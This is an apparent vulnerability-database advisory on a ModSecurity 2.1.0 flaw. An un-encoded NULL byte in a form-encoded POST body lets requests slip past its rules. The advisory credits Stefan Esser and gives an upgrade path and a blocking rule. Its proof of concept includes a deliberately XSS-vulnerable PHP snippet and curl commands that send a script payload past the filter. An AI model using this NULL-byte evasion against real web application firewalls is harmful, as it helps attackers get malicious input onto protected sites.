|
|
Info |
Last Modified |
| 9 months ago |
|
|
|
|
Keywords |
HPSBMA02133,SSRT061201
|
|
Description |
ModSecurity contains a flaw that may allow a user to bypass security rules. The issue is triggered when ModSecurity parses POST requests with the application/x-www-form-urlencoded content type containing an un-encoded NULL byte (ASCIIZ) embedded in the payload. It is possible that the flaw may allow a remote user to submit malicious input to ModSecurity-protected sites by bypassing security rules that use variables that refer to request parameters (e.g. ARGS) due to ModSecurity not scanning anything beyond the NULL byte and resulting in a loss of confidentiality.
|
|
Classification |
Location:
Remote/Network Access Required
Attack Type:
Input Manipulation
Impact:
Loss of Confidentiality
Exploit:
Exploit Available
Disclosure:
OSVDB Verified
|
|
Technical |
The ModSecurity rules can only be bypassed in certain circumstances:
1) Parameters must be transported in an application/x-www-form-urlencoded request body.
2) An un-encoded NULL byte (ASCIIZ) must be embedded in the payload.
3) The parser used by the web application must do things differently.
PHP versions lower than 5.2.0 are supposedly not susceptible to the ModSecurity POST data NULL byte filter bypass, but PHP versions 5.2.0 and higher are.
------------------------
Proof of Concept
------------------------
Place the following PHP script into a webroot (make sure server is off-line) that is vulnerable to XSS (standard PHP 5.2.0 and ModSecurity 2.1.0 installation):
<?php
if (isset($_POST['var'])
echo($_POST['var']);
?>
Calling the script with the following command will result in the example not being blocked, however error.log will inform you that a possible XSS attack was detected:
$ echo -e "&var=<script>alert(/xss/);</script>" > postdata
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
However, using a NULL byte in the command will not log a possible XSS attack in error.log, since ModSecurity cannot see the var parameter behind the NULL byte:
$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
|
|
Solution |
Upgrade to version 2.1.1-rc1 or higher as it has been reported to fix this vulnerability. It is also possible to correct the flaw by adding the following rule to your rule set:
SecRule REQUEST_BODY "@validateByteRange 1-255" \
"log,deny,phase:2,t:none,msg:'ModSecurity ASCIIZ Evasion Attempt'"
|
|
Products |
|
ModSecurity
 |
2.1.0 |
1.x |
2.1.1-rc1 |
2.0.4 |
2.0.3 |
2.0.2 |
2.0.1 |
2.0.0 |
|
|
|
|
|
|
Credit |
- Stefan Esser - sesser
 hardened-php.net - www.hardened-php.net
|
|
BlogsProvided by Technorati
|
None found at this time
|
|
|
